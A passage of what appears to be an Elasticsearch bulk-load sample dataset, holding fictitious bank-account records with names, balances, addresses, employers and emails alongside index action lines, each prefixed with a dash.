-{"account_number":694,"balance":33125,"firstname":"Craig","lastname":"Palmer","age":31,"gender":"F","address":"273 Montrose Avenue","employer":"Comvey","email":"craigpalmer@comvey.com","city":"Cleary","state":"OK"} -{"index":{"_id":"699"}} -{"account_number":699,"balance":4156,"firstname":"Gallagher","lastname":"Marshall","age":37,"gender":"F","address":"648 Clifford Place","employer":"Exiand","email":"gallaghermarshall@exiand.com","city":"Belfair","state":"KY"} -{"index":{"_id":"702"}} -{"account_number":702,"balance":46490,"firstname":"Meadows","lastname":"Delgado","age":26,"gender":"M","address":"612 Jardine Place","employer":"Daisu","email":"meadowsdelgado@daisu.com","city":"Venice","state":"AR"} -{"index":{"_id":"707"}} -{"account_number":707,"balance":30325,"firstname":"Sonya","lastname":"Trevino","age":30,"gender":"F","address":"181 Irving Place","employer":"Atgen","email":"sonyatrevino@atgen.com","city":"Enetai","state":"TN"} -{"index":{"_id":"714"}} -{"account_number":714,"balance":16602,"firstname":"Socorro","lastname":"Murray","age":34,"gender":"F","address":"810 Manhattan Court","employer":"Isoswitch","email":"socorromurray@isoswitch.com","city":"Jugtown","state":"AZ"} -{"index":{"_id":"719"}} -{"account_number":719,"balance":33107,"firstname":"Leanna","lastname":"Reed","age":25,"gender":"F","address":"528 Krier Place","employer":"Rodeology","email":"leannareed@rodeology.com","city":"Carrizo","state":"WI"} -{"index":{"_id":"721"}} -{"account_number":721,"balance":32958,"firstname":"Mara","lastname":"Dickson","age":26,"gender":"M","address":"810 Harrison Avenue","employer":"Comtours","email":"maradickson@comtours.com","city":"Thynedale","state":"DE"} -{"index":{"_id":"726"}} -{"account_number":726,"balance":44737,"firstname":"Rosemary","lastname":"Salazar","age":21,"gender":"M","address":"290 Croton Loop","employer":"Rockabye","email":"rosemarysalazar@rockabye.com","city":"Helen","state":"IA"} -{"index":{"_id":"733"}} -{"account_number":733,"balance":15722,"firstname":"Lakeisha","lastname":"Mccarthy","age":37,"gender":"M","address":"782 Turnbull Avenue","employer":"Exosis","email":"lakeishamccarthy@exosis.com","city":"Caberfae","state":"NM"} -{"index":{"_id":"738"}} -{"account_number":738,"balance":44936,"firstname":"Rosalind","lastname":"Hunter","age":32,"gender":"M","address":"644 Eaton Court","employer":"Zolarity","email":"rosalindhunter@zolarity.com","city":"Cataract","state":"SD"} -{"index":{"_id":"740"}} -{"account_number":740,"balance":6143,"firstname":"Chambers","lastname":"Hahn","age":22,"gender":"M","address":"937 Windsor Place","employer":"Medalert","email":"chambershahn@medalert.com","city":"Dorneyville","state":"DC"} -{"index":{"_id":"745"}} -{"account_number":745,"balance":4572,"firstname":"Jacobs","lastname":"Sweeney","age":32,"gender":"M","address":"189 Lott Place","employer":"Comtent","email":"jacobssweeney@comtent.com","city":"Advance","state":"NJ"} -{"index":{"_id":"752"}} -{"account_number":752,"balance":14039,"firstname":"Jerry","lastname":"Rush","age":31,"gender":"M","address":"632 Dank Court","employer":"Ebidco","email":"jerryrush@ebidco.com","city":"Geyserville","state":"AR"} -{"index":{"_id":"757"}} -{"account_number":757,"balance":34628,"firstname":"Mccullough","lastname":"Moore","age":30,"gender":"F","address":"304 Hastings Street","employer":"Nikuda","email":"mcculloughmoore@nikuda.com","city":"Charco","state":"DC"} -{"index":{"_id":"764"}} -{"account_number":764,"balance":3728,"firstname":"Noemi","lastname":"Gill","age":30,"gender":"M","address":"427 Chester Street","employer":"Avit","email":"noemigill@avit.com","city":"Chesterfield","state":"AL"} -{"index":{"_id":"769"}} -{"account_number":769,"balance":15362,"firstname":"Francis","lastname":"Beck","age":28,"gender":"M","address":"454 Livingston Street","employer":"Furnafix","email":"francisbeck@furnafix.com","city":"Dunnavant","state":"HI"} -{"index":{"_id":"771"}} -{"account_number":771,"balance":32784,"firstname":"Jocelyn","lastname":"Boone","age":23,"gender":"M","address":"513 Division Avenue","employer":"Collaire","email":"jocelynboone@collaire.com","city":"Lisco","state":"VT"} -{"index":{"_id":"776"}} -{"account_number":776,"balance":29177,"firstname":"Duke","lastname":"Atkinson","age":24,"gender":"M","address":"520 Doscher Street","employer":"Tripsch","email":"dukeatkinson@tripsch.com","city":"Lafferty","state":"NC"} -{"index":{"_id":"783"}} -{"account_number":783,"balance":11911,"firstname":"Faith","lastname":"Cooper","age":25,"gender":"F","address":"539 Rapelye Street","employer":"Insuron","email":"faithcooper@insuron.com","city":"Jennings","state":"MN"} -{"index":{"_id":"788"}} -{"account_number":788,"balance":12473,"firstname":"Marianne","lastname":"Aguilar","age":39,"gender":"F","address":"213 Holly Street","employer":"Marqet","email":"marianneaguilar@marqet.com","city":"Alfarata","state":"HI"} -{"index":{"_id":"790"}} -{"account_number":790,"balance":29912,"firstname":"Ellis","lastname":"Sullivan","age":39,"gender":"F","address":"877 Coyle Street","employer":"Enersave","email":"ellissullivan@enersave.com","city":"Canby","state":"MS"} -{"index":{"_id":"795"}} -{"account_number":795,"balance":31450,"firstname":"Bruce","lastname":"Avila","age":34,"gender":"M","address":"865 Newkirk Placez","employer":"Plasmosis","email":"bruceavila@plasmosis.com","city":"Ada","state":"ID"} -{"index":{"_id":"803"}} -{"account_number":803,"balance":49567,"firstname":"Marissa","lastname":"Spears","age":25,"gender":"M","address":"963 Highland Avenue","employer":"Centregy","email":"marissaspears@centregy.com","city":"Bloomington","state":"MS"} -{"index":{"_id":"808"}} -{"account_number":808,"balance":11251,"firstname":"Nola","lastname":"Quinn","age":20,"gender":"M","address":"863 Wythe Place","employer":"Iplax","email":"nolaquinn@iplax.com","city":"Cuylerville","state":"NH"} -{"index":{"_id":"810"}} -{"account_number":810,"balance":10563,"firstname":"Alyssa","lastname":"Ortega","age":40,"gender":"M","address":"977 Clymer Street","employer":"Eventage","email":"alyssaortega@eventage.com","city":"Convent","state":"SC"} -{"index":{"_id":"815"}} -{"account_number":815,"balance":19336,"firstname":"Guthrie","lastname":"Morse","age":30,"gender":"M","address":"685 Vandalia Avenue","employer":"Gronk","email":"guthriemorse@gronk.com","city":"Fowlerville","state":"OR"} -{"index":{"_id":"822"}} -{"account_number":822,"balance":13024,"firstname":"Hicks","lastname":"Farrell","age":25,"gender":"M","address":"468 Middleton Street","employer":"Zolarex","email":"hicksfarrell@zolarex.com","city":"Columbus","state":"OR"} -{"index":{"_id":"827"}} -{"account_number":827,"balance":37536,"firstname":"Naomi","lastname":"Ball","age":29,"gender":"F","address":"319 Stewart Street","employer":"Isotronic","email":"naomiball@isotronic.com","city":"Trona","state":"NM"} -{"index":{"_id":"834"}} -{"account_number":834,"balance":38049,"firstname":"Sybil","lastname":"Carrillo","age":25,"gender":"M","address":"359 Baughman Place","employer":"Phuel","email":"sybilcarrillo@phuel.com","city":"Kohatk","state":"CT"} -{"index":{"_id":"839"}} -{"account_number":839,"balance":38292,"firstname":"Langley","lastname":"Neal","age":39,"gender":"F","address":"565 Newton Street","employer":"Liquidoc","email":"langleyneal@liquidoc.com","city":"Osage","state":"AL"} -{"index":{"_id":"841"}} -{"account_number":841,"balance":28291,"firstname":"Dalton","lastname":"Waters","age":21,"gender":"M","address":"859 Grand Street","employer":"Malathion","email":"daltonwaters@malathion.com","city":"Tonopah","state":"AZ"} -{"index":{"_id":"846"}} -{"account_number":846,"balance":35099,"firstname":"Maureen","lastname":"Glass","age":22,"gender":"M","address":"140 Amherst Street","employer":"Stelaecor","email":"maureenglass@stelaecor.com","city":"Cucumber","state":"IL"} -{"index":{"_id":"853"}} -{"account_number":853,"balance":38353,"firstname":"Travis","lastname":"Parks","age":40,"gender":"M","address":"930 Bay Avenue","employer":"Pyramax","email":"travisparks@pyramax.com","city":"Gadsden","state":"ND"} -{"index":{"_id":"858"}} -{"account_number":858,"balance":23194,"firstname":"Small","lastname":"Hatfield","age":36,"gender":"M","address":"593 Tennis Court","employer":"Letpro","email":"smallhatfield@letpro.com","city":"Haena","state":"KS"} -{"index":{"_id":"860"}} -{"account_number":860,"balance":23613,"firstname":"Clark","lastname":"Boyd","age":37,"gender":"M","address":"501 Rock Street","employer":"Deepends","email":"clarkboyd@deepends.com","city":"Whitewater","state":"MA"} -{"index":{"_id":"865"}} -{"account_number":865,"balance":10574,"firstname":"Cook","lastname":"Kelley","age":28,"gender":"F","address":"865 Lincoln Terrace","employer":"Quizmo","email":"cookkelley@quizmo.com","city":"Kansas","state":"KY"} -{"index":{"_id":"872"}} -{"account_number":872,"balance":26314,"firstname":"Jane","lastname":"Greer","age":36,"gender":"F","address":"717 Hewes Street","employer":"Newcube","email":"janegreer@newcube.com","city":"Delshire","state":"DE"} -{"index":{"_id":"877"}} -{"account_number":877,"balance":42879,"firstname":"Tracey","lastname":"Ruiz","age":34,"gender":"F","address":"141 Tompkins Avenue","employer":"Waab","email":"traceyruiz@waab.com","city":"Zeba","state":"NM"} -{"index":{"_id":"884"}} -{"account_number":884,"balance":29316,"firstname":"Reva","lastname":"Rosa","age":40,"gender":"M","address":"784 Greene Avenue","employer":"Urbanshee","email":"revarosa@urbanshee.com","city":"Bakersville","state":"MS"} -{"index":{"_id":"889"}} -{"account_number":889,"balance":26464,"firstname":"Fischer","lastname":"Klein","age":38,"gender":"F","address":"948 Juliana Place","employer":"Comtext","email":"fischerklein@comtext.com","city":"Jackpot","state":"PA"} -{"index":{"_id":"891"}} -{"account_number":891,"balance":34829,"firstname":"Jacobson","lastname":"Clemons","age":24,"gender":"F","address":"507 Wilson Street","employer":"Quilm","email":"jacobsonclemons@quilm.com","city":"Muir","state":"TX"} -{"index":{"_id":"896"}} -{"account_number":896,"balance":31947,"firstname":"Buckley","lastname":"Peterson","age":26,"gender":"M","address":"217 Beayer Place","employer":"Earwax","email":"buckleypeterson@earwax.com","city":"Franklin","state":"DE"} -{"index":{"_id":"904"}} -{"account_number":904,"balance":27707,"firstname":"Mendez","lastname":"Mcneil","age":26,"gender":"M","address":"431 Halsey Street","employer":"Macronaut","email":"mendezmcneil@macronaut.com","city":"Troy","state":"OK"} -{"index":{"_id":"909"}} -{"account_number":909,"balance":18421,"firstname":"Stark","lastname":"Lewis","age":36,"gender":"M","address":"409 Tilden Avenue","employer":"Frosnex","email":"starklewis@frosnex.com","city":"Axis","state":"CA"} -{"index":{"_id":"911"}} -{"account_number":911,"balance":42655,"firstname":"Annie","lastname":"Lyons","age":21,"gender":"M","address":"518 Woods Place","employer":"Enerforce","email":"annielyons@enerforce.com","city":"Stagecoach","state":"MA"} -{"index":{"_id":"916"}} -{"account_number":916,"balance":47887,"firstname":"Jarvis","lastname":"Alexander","age":40,"gender":"M","address":"406 Bergen Avenue","employer":"Equitax","email":"jarvisalexander@equitax.com","city":"Haring","state":"KY"} -{"index":{"_id":"923"}} -{"account_number":923,"balance":48466,"firstname":"Mueller","lastname":"Mckee","age":26,"gender":"M","address":"298 Ruby Street","employer":"Luxuria","email":"muellermckee@luxuria.com","city":"Coleville","state":"TN"} -{"index":{"_id":"928"}} -{"account_number":928,"balance":19611,"firstname":"Hester","lastname":"Copeland","age":22,"gender":"F","address":"425 Cropsey Avenue","employer":"Dymi","email":"hestercopeland@dymi.com","city":"Wolcott","state":"NE"} -{"index":{"_id":"930"}} -{"account_number":930,"balance":47257,"firstname":"Kinney","lastname":"Lawson","age":39,"gender":"M","address":"501 Raleigh Place","employer":"Neptide","email":"kinneylawson@neptide.com","city":"Deltaville","state":"MD"} -{"index":{"_id":"935"}} -{"account_number":935,"balance":4959,"firstname":"Flowers","lastname":"Robles","age":30,"gender":"M","address":"201 Hull Street","employer":"Xelegyl","email":"flowersrobles@xelegyl.com","city":"Rehrersburg","state":"AL"} -{"index":{"_id":"942"}} -{"account_number":942,"balance":21299,"firstname":"Hamilton","lastname":"Clayton","age":26,"gender":"M","address":"413 Debevoise Street","employer":"Architax","email":"hamiltonclayton@architax.com","city":"Terlingua","state":"NM"} -{"index":{"_id":"947"}} -{"account_number":947,"balance":22039,"firstname":"Virgie","lastname":"Garza","age":30,"gender":"M","address":"903 Matthews Court","employer":"Plasmox","email":"virgiegarza@plasmox.com","city":"Somerset","state":"WY"} -{"index":{"_id":"954"}} -{"account_number":954,"balance":49404,"firstname":"Jenna","lastname":"Martin","age":22,"gender":"M","address":"688 Hart Street","employer":"Zinca","email":"jennamartin@zinca.com","city":"Oasis","state":"MD"} -{"index":{"_id":"959"}} -{"account_number":959,"balance":34743,"firstname":"Shaffer","lastname":"Cervantes","age":40,"gender":"M","address":"931 Varick Avenue","employer":"Oceanica","email":"shaffercervantes@oceanica.com","city":"Bowie","state":"AL"} -{"index":{"_id":"961"}} -{"account_number":961,"balance":43219,"firstname":"Betsy","lastname":"Hyde","age":27,"gender":"F","address":"183 Junius Street","employer":"Tubalum","email":"betsyhyde@tubalum.com","city":"Driftwood","state":"TX"} -{"index":{"_id":"966"}} -{"account_number":966,"balance":20619,"firstname":"Susanne","lastname":"Rodriguez","age":35,"gender":"F","address":"255 Knickerbocker Avenue","employer":"Comtrek","email":"susannerodriguez@comtrek.com","city":"Trinway","state":"TX"} -{"index":{"_id":"973"}} -{"account_number":973,"balance":45756,"firstname":"Rice","lastname":"Farmer","age":31,"gender":"M","address":"476 Nassau Avenue","employer":"Photobin","email":"ricefarmer@photobin.com","city":"Suitland","state":"ME"} -{"index":{"_id":"978"}} -{"account_number":978,"balance":21459,"firstname":"Melanie","lastname":"Rojas","age":33,"gender":"M","address":"991 Java Street","employer":"Kage","email":"melanierojas@kage.com","city":"Greenock","state":"VT"} -{"index":{"_id":"980"}} -{"account_number":980,"balance":42436,"firstname":"Cash","lastname":"Collier","age":33,"gender":"F","address":"999 Sapphire Street","employer":"Ceprene","email":"cashcollier@ceprene.com","city":"Glidden","state":"AK"} -{"index":{"_id":"985"}} -{"account_number":985,"balance":20083,"firstname":"Martin","lastname":"Gardner","age":28,"gender":"F","address":"644 Fairview Place","employer":"Golistic","email":"martingardner@golistic.com","city":"Connerton","state":"NJ"} -{"index":{"_id":"992"}} -{"account_number":992,"balance":11413,"firstname":"Kristie","lastname":"Kennedy","age":33,"gender":"F","address":"750 Hudson Avenue","employer":"Ludak","email":"kristiekennedy@ludak.com","city":"Warsaw","state":"WY"} -{"index":{"_id":"997"}} -{"account_number":997,"balance":25311,"firstname":"Combs","lastname":"Frederick","age":20,"gender":"M","address":"586 Lloyd Court","employer":"Pathways","email":"combsfrederick@pathways.com","city":"Williamson","state":"CA"} -{"index":{"_id":"3"}} -{"account_number":3,"balance":44947,"firstname":"Levine","lastname":"Burks","age":26,"gender":"F","address":"328 Wilson Avenue","employer":"Amtap","email":"levineburks@amtap.com","city":"Cochranville","state":"HI"} -{"index":{"_id":"8"}} -{"account_number":8,"balance":48868,"firstname":"Jan","lastname":"Burns","age":35,"gender":"M","address":"699 Visitation Place","employer":"Glasstep","email":"janburns@glasstep.com","city":"Wakulla","state":"AZ"} -{"index":{"_id":"10"}} -{"account_number":10,"balance":46170,"firstname":"Dominique","lastname":"Park","age":37,"gender":"F","address":"100 Gatling Place","employer":"Conjurica","email":"dominiquepark@conjurica.com","city":"Omar","state":"NJ"} -{"index":{"_id":"15"}} -{"account_number":15,"balance":43456,"firstname":"Bobbie","lastname":"Sexton","age":21,"gender":"M","address":"232 Sedgwick Place","employer":"Zytrex","email":"bobbiesexton@zytrex.com","city":"Hendersonville","state":"CA"} -{"index":{"_id":"22"}} -{"account_number":22,"balance":40283,"firstname":"Barrera","lastname":"Terrell","age":23,"gender":"F","address":"292 Orange Street","employer":"Steelfab","email":"barreraterrell@steelfab.com","city":"Bynum","state":"ME"} -{"index":{"_id":"27"}} -{"account_number":27,"balance":6176,"firstname":"Meyers","lastname":"Williamson","age":26,"gender":"F","address":"675 Henderson Walk","employer":"Plexia","email":"meyerswilliamson@plexia.com","city":"Richmond","state":"AZ"} -{"index":{"_id":"34"}} -{"account_number":34,"balance":35379,"firstname":"Ellison","lastname":"Kim","age":30,"gender":"F","address":"986 Revere Place","employer":"Signity","email":"ellisonkim@signity.com","city":"Sehili","state":"IL"} -{"index":{"_id":"39"}} -{"account_number":39,"balance":38688,"firstname":"Bowers","lastname":"Mendez","age":22,"gender":"F","address":"665 Bennet Court","employer":"Farmage","email":"bowersmendez@farmage.com","city":"Duryea","state":"PA"} -{"index":{"_id":"41"}} -{"account_number":41,"balance":36060,"firstname":"Hancock","lastname":"Holden","age":20,"gender":"M","address":"625 Gaylord Drive","employer":"Poochies","email":"hancockholden@poochies.com","city":"Alamo","state":"KS"} -{"index":{"_id":"46"}} -{"account_number":46,"balance":12351,"firstname":"Karla","lastname":"Bowman","age":23,"gender":"M","address":"554 Chapel Street","employer":"Undertap","email":"karlabowman@undertap.com","city":"Sylvanite","state":"DC"} -{"index":{"_id":"53"}} -{"account_number":53,"balance":28101,"firstname":"Kathryn","lastname":"Payne","age":29,"gender":"F","address":"467 Louis Place","employer":"Katakana","email":"kathrynpayne@katakana.com","city":"Harviell","state":"SD"} -{"index":{"_id":"58"}} -{"account_number":58,"balance":31697,"firstname":"Marva","lastname":"Cannon","age":40,"gender":"M","address":"993 Highland Place","employer":"Comcubine","email":"marvacannon@comcubine.com","city":"Orviston","state":"MO"} -{"index":{"_id":"60"}} -{"account_number":60,"balance":45955,"firstname":"Maude","lastname":"Casey","age":31,"gender":"F","address":"566 Strauss Street","employer":"Quilch","email":"maudecasey@quilch.com","city":"Enlow","state":"GA"} -{"index":{"_id":"65"}} -{"account_number":65,"balance":23282,"firstname":"Leonor","lastname":"Pruitt","age":24,"gender":"M","address":"974 Terrace Place","employer":"Velos","email":"leonorpruitt@velos.com","city":"Devon","state":"WI"} -{"index":{"_id":"72"}} -{"account_number":72,"balance":9732,"firstname":"Barlow","lastname":"Rhodes","age":25,"gender":"F","address":"891 Clinton Avenue","employer":"Zialactic","email":"barlowrhodes@zialactic.com","city":"Echo","state":"TN"} -{"index":{"_id":"77"}} -{"account_number":77,"balance":5724,"firstname":"Byrd","lastname":"Conley","age":24,"gender":"F","address":"698 Belmont Avenue","employer":"Zidox","email":"byrdconley@zidox.com","city":"Rockbridge","state":"SC"} -{"index":{"_id":"84"}} -{"account_number":84,"balance":3001,"firstname":"Hutchinson","lastname":"Newton","age":34,"gender":"F","address":"553 Locust Street","employer":"Zaggles","email":"hutchinsonnewton@zaggles.com","city":"Snyderville","state":"DC"} -{"index":{"_id":"89"}} -{"account_number":89,"balance":13263,"firstname":"Mcdowell","lastname":"Bradley","age":28,"gender":"M","address":"960 Howard Alley","employer":"Grok","email":"mcdowellbradley@grok.com","city":"Toftrees","state":"TX"} -{"index":{"_id":"91"}} -{"account_number":91,"balance":29799,"firstname":"Vonda","lastname":"Galloway","age":20,"gender":"M","address":"988 Voorhies Avenue","employer":"Illumity","email":"vondagalloway@illumity.com","city":"Holcombe","state":"HI"} -{"index":{"_id":"96"}} -{"account_number":96,"balance":15933,"firstname":"Shirley","lastname":"Edwards","age":38,"gender":"M","address":"817 Caton Avenue","employer":"Equitox","email":"shirleyedwards@equitox.com","city":"Nelson","state":"MA"} -{"index":{"_id":"104"}} -{"account_number":104,"balance":32619,"firstname":"Casey","lastname":"Roth","age":29,"gender":"M","address":"963 Railroad Avenue","employer":"Hotcakes","email":"caseyroth@hotcakes.com","city":"Davenport","state":"OH"} -{"index":{"_id":"109"}} -{"account_number":109,"balance":25812,"firstname":"Gretchen","lastname":"Dawson","age":31,"gender":"M","address":"610 Bethel Loop","employer":"Tetak","email":"gretchendawson@tetak.com","city":"Hailesboro","state":"CO"} -{"index":{"_id":"111"}} -{"account_number":111,"balance":1481,"firstname":"Traci","lastname":"Allison","age":35,"gender":"M","address":"922 Bryant Street","employer":"Enjola","email":"traciallison@enjola.com","city":"Robinette","state":"OR"} -{"index":{"_id":"116"}} -{"account_number":116,"balance":21335,"firstname":"Hobbs","lastname":"Wright","age":24,"gender":"M","address":"965 Temple Court","employer":"Netbook","email":"hobbswright@netbook.com","city":"Strong","state":"CA"} -{"index":{"_id":"123"}} -{"account_number":123,"balance":3079,"firstname":"Cleo","lastname":"Beach","age":27,"gender":"F","address":"653 Haring Street","employer":"Proxsoft","email":"cleobeach@proxsoft.com","city":"Greensburg","state":"ME"} -{"index":{"_id":"128"}} -{"account_number":128,"balance":3556,"firstname":"Mack","lastname":"Bullock","age":34,"gender":"F","address":"462 Ingraham Street","employer":"Terascape","email":"mackbullock@terascape.com","city":"Eureka","state":"PA"} -{"index":{"_id":"130"}} -{"account_number":130,"balance":24171,"firstname":"Roxie","lastname":"Cantu","age":33,"gender":"M","address":"841 Catherine Street","employer":"Skybold","email":"roxiecantu@skybold.com","city":"Deputy","state":"NE"} -{"index":{"_id":"135"}} -{"account_number":135,"balance":24885,"firstname":"Stevenson","lastname":"Crosby","age":40,"gender":"F","address":"473 Boardwalk ","employer":"Accel","email":"stevensoncrosby@accel.com","city":"Norris","state":"OK"} -{"index":{"_id":"142"}} -{"account_number":142,"balance":4544,"firstname":"Vang","lastname":"Hughes","age":27,"gender":"M","address":"357 Landis Court","employer":"Bolax","email":"vanghughes@bolax.com","city":"Emerald","state":"WY"} -{"index":{"_id":"147"}} -{"account_number":147,"balance":35921,"firstname":"Charmaine","lastname":"Whitney","age":28,"gender":"F","address":"484 Seton Place","employer":"Comveyer","email":"charmainewhitney@comveyer.com","city":"Dexter","state":"DC"} -{"index":{"_id":"154"}} -{"account_number":154,"balance":40945,"firstname":"Burns","lastname":"Solis","age":31,"gender":"M","address":"274 Lorraine Street","employer":"Rodemco","email":"burnssolis@rodemco.com","city":"Ballico","state":"WI"} -{"index":{"_id":"159"}} -{"account_number":159,"balance":1696,"firstname":"Alvarez","lastname":"Mack","age":22,"gender":"F","address":"897 Manor Court","employer":"Snorus","email":"alvarezmack@snorus.com","city":"Rosedale","state":"CA"} -{"index":{"_id":"161"}} -{"account_number":161,"balance":4659,"firstname":"Doreen","lastname":"Randall","age":37,"gender":"F","address":"178 Court Street","employer":"Calcula","email":"doreenrandall@calcula.com","city":"Belmont","state":"TX"} -{"index":{"_id":"166"}} -{"account_number":166,"balance":33847,"firstname":"Rutledge","lastname":"Rivas","age":23,"gender":"M","address":"352 Verona Street","employer":"Virxo","email":"rutledgerivas@virxo.com","city":"Brandermill","state":"NE"} -{"index":{"_id":"173"}} -{"account_number":173,"balance":5989,"firstname":"Whitley","lastname":"Blevins","age":32,"gender":"M","address":"127 Brooklyn Avenue","employer":"Pawnagra","email":"whitleyblevins@pawnagra.com","city":"Rodanthe","state":"ND"} -{"index":{"_id":"178"}} -{"account_number":178,"balance":36735,"firstname":"Clements","lastname":"Finley","age":39,"gender":"F","address":"270 Story Court","employer":"Imaginart","email":"clementsfinley@imaginart.com","city":"Lookingglass","state":"MN"} -{"index":{"_id":"180"}} -{"account_number":180,"balance":34236,"firstname":"Ursula","lastname":"Goodman","age":32,"gender":"F","address":"414 Clinton Street","employer":"Earthmark","email":"ursulagoodman@earthmark.com","city":"Rote","state":"AR"} -{"index":{"_id":"185"}} -{"account_number":185,"balance":43532,"firstname":"Laurel","lastname":"Cline","age":40,"gender":"M","address":"788 Fenimore Street","employer":"Prismatic","email":"laurelcline@prismatic.com","city":"Frank","state":"UT"} -{"index":{"_id":"192"}} -{"account_number":192,"balance":23508,"firstname":"Ramsey","lastname":"Carr","age":31,"gender":"F","address":"209 Williamsburg Street","employer":"Strezzo","email":"ramseycarr@strezzo.com","city":"Grapeview","state":"NM"} -{"index":{"_id":"197"}} -{"account_number":197,"balance":17246,"firstname":"Sweet","lastname":"Sanders","age":33,"gender":"F","address":"712 Homecrest Court","employer":"Isosure","email":"sweetsanders@isosure.com","city":"Sheatown","state":"VT"} -{"index":{"_id":"200"}} -{"account_number":200,"balance":26210,"firstname":"Teri","lastname":"Hester","age":39,"gender":"M","address":"653 Abbey Court","employer":"Electonic","email":"terihester@electonic.com","city":"Martell","state":"MD"} -{"index":{"_id":"205"}} -{"account_number":205,"balance":45493,"firstname":"Johnson","lastname":"Chang","age":28,"gender":"F","address":"331 John Street","employer":"Gleamink","email":"johnsonchang@gleamink.com","city":"Sultana","state":"KS"} -{"index":{"_id":"212"}} -{"account_number":212,"balance":10299,"firstname":"Marisol","lastname":"Fischer","age":39,"gender":"M","address":"362 Prince Street","employer":"Autograte","email":"marisolfischer@autograte.com","city":"Oley","state":"SC"} -{"index":{"_id":"217"}} -{"account_number":217,"balance":33730,"firstname":"Sally","lastname":"Mccoy","age":38,"gender":"F","address":"854 Corbin Place","employer":"Omnigog","email":"sallymccoy@omnigog.com","city":"Escondida","state":"FL"} -{"index":{"_id":"224"}} -{"account_number":224,"balance":42708,"firstname":"Billie","lastname":"Nixon","age":28,"gender":"F","address":"241 Kaufman Place","employer":"Xanide","email":"billienixon@xanide.com","city":"Chapin","state":"NY"} -{"index":{"_id":"229"}} -{"account_number":229,"balance":2740,"firstname":"Jana","lastname":"Hensley","age":30,"gender":"M","address":"176 Erasmus Street","employer":"Isotrack","email":"janahensley@isotrack.com","city":"Caledonia","state":"ME"} -{"index":{"_id":"231"}} -{"account_number":231,"balance":46180,"firstname":"Essie","lastname":"Clarke","age":34,"gender":"F","address":"308 Harbor Lane","employer":"Pharmacon","email":"essieclarke@pharmacon.com","city":"Fillmore","state":"MS"} -{"index":{"_id":"236"}} -{"account_number":236,"balance":41200,"firstname":"Suzanne","lastname":"Bird","age":39,"gender":"F","address":"219 Luquer Street","employer":"Imant","email":"suzannebird@imant.com","city":"Bainbridge","state":"NY"} -{"index":{"_id":"243"}} -{"account_number":243,"balance":29902,"firstname":"Evangelina","lastname":"Perez","age":20,"gender":"M","address":"787 Joval Court","employer":"Keengen","email":"evangelinaperez@keengen.com","city":"Mulberry","state":"SD"} -{"index":{"_id":"248"}} -{"account_number":248,"balance":49989,"firstname":"West","lastname":"England","age":36,"gender":"M","address":"717 Hendrickson Place","employer":"Obliq","email":"westengland@obliq.com","city":"Maury","state":"WA"} -{"index":{"_id":"250"}} -{"account_number":250,"balance":27893,"firstname":"Earlene","lastname":"Ellis","age":39,"gender":"F","address":"512 Bay Street","employer":"Codact","email":"earleneellis@codact.com","city":"Sunwest","state":"GA"} -{"index":{"_id":"255"}} -{"account_number":255,"balance":49339,"firstname":"Iva","lastname":"Rivers","age":38,"gender":"M","address":"470 Rost Place","employer":"Mantrix","email":"ivarivers@mantrix.com","city":"Disautel","state":"MD"} -{"index":{"_id":"262"}} -{"account_number":262,"balance":30289,"firstname":"Tameka","lastname":"Levine","age":36,"gender":"F","address":"815 Atlantic Avenue","employer":"Acium","email":"tamekalevine@acium.com","city":"Winchester","state":"SD"} -{"index":{"_id":"267"}} -{"account_number":267,"balance":42753,"firstname":"Weeks","lastname":"Castillo","age":21,"gender":"F","address":"526 Holt Court","employer":"Talendula","email":"weekscastillo@talendula.com","city":"Washington","state":"NV"} -{"index":{"_id":"274"}} -{"account_number":274,"balance":12104,"firstname":"Frieda","lastname":"House","age":33,"gender":"F","address":"171 Banker Street","employer":"Quonk","email":"friedahouse@quonk.com","city":"Aberdeen","state":"NJ"} -{"index":{"_id":"279"}} -{"account_number":279,"balance":15904,"firstname":"Chapman","lastname":"Hart","age":32,"gender":"F","address":"902 Bliss Terrace","employer":"Kongene","email":"chapmanhart@kongene.com","city":"Bradenville","state":"NJ"} -{"index":{"_id":"281"}} -{"account_number":281,"balance":39830,"firstname":"Bean","lastname":"Aguirre","age":20,"gender":"F","address":"133 Pilling Street","employer":"Amril","email":"beanaguirre@amril.com","city":"Waterview","state":"TX"} -{"index":{"_id":"286"}} -{"account_number":286,"balance":39063,"firstname":"Rosetta","lastname":"Turner","age":35,"gender":"M","address":"169 Jefferson Avenue","employer":"Spacewax","email":"rosettaturner@spacewax.com","city":"Stewart","state":"MO"} -{"index":{"_id":"293"}} -{"account_number":293,"balance":29867,"firstname":"Cruz","lastname":"Carver","age":28,"gender":"F","address":"465 Boerum Place","employer":"Vitricomp","email":"cruzcarver@vitricomp.com","city":"Crayne","state":"CO"} -{"index":{"_id":"298"}} -{"account_number":298,"balance":34334,"firstname":"Bullock","lastname":"Marsh","age":20,"gender":"M","address":"589 Virginia Place","employer":"Renovize","email":"bullockmarsh@renovize.com","city":"Coinjock","state":"UT"} -{"index":{"_id":"301"}} -{"account_number":301,"balance":16782,"firstname":"Minerva","lastname":"Graham","age":35,"gender":"M","address":"532 Harrison Place","employer":"Sureplex","email":"minervagraham@sureplex.com","city":"Belleview","state":"GA"} -{"index":{"_id":"306"}} -{"account_number":306,"balance":2171,"firstname":"Hensley","lastname":"Hardin","age":40,"gender":"M","address":"196 Maujer Street","employer":"Neocent","email":"hensleyhardin@neocent.com","city":"Reinerton","state":"HI"} -{"index":{"_id":"313"}} -{"account_number":313,"balance":34108,"firstname":"Alston","lastname":"Henderson","age":36,"gender":"F","address":"132 Prescott Place","employer":"Prosure","email":"alstonhenderson@prosure.com","city":"Worton","state":"IA"} -{"index":{"_id":"318"}} -{"account_number":318,"balance":8512,"firstname":"Nichole","lastname":"Pearson","age":34,"gender":"F","address":"656 Lacon Court","employer":"Yurture","email":"nicholepearson@yurture.com","city":"Juarez","state":"MO"} -{"index":{"_id":"320"}} -{"account_number":320,"balance":34521,"firstname":"Patti","lastname":"Brennan","age":37,"gender":"F","address":"870 Degraw Street","employer":"Cognicode","email":"pattibrennan@cognicode.com","city":"Torboy","state":"FL"} -{"index":{"_id":"325"}} -{"account_number":325,"balance":1956,"firstname":"Magdalena","lastname":"Simmons","age":25,"gender":"F","address":"681 Townsend Street","employer":"Geekosis","email":"magdalenasimmons@geekosis.com","city":"Sterling","state":"CA"} -{"index":{"_id":"332"}} -{"account_number":332,"balance":37770,"firstname":"Shepherd","lastname":"Davenport","age":28,"gender":"F","address":"586 Montague Terrace","employer":"Ecraze","email":"shepherddavenport@ecraze.com","city":"Accoville","state":"NM"} -{"index":{"_id":"337"}} 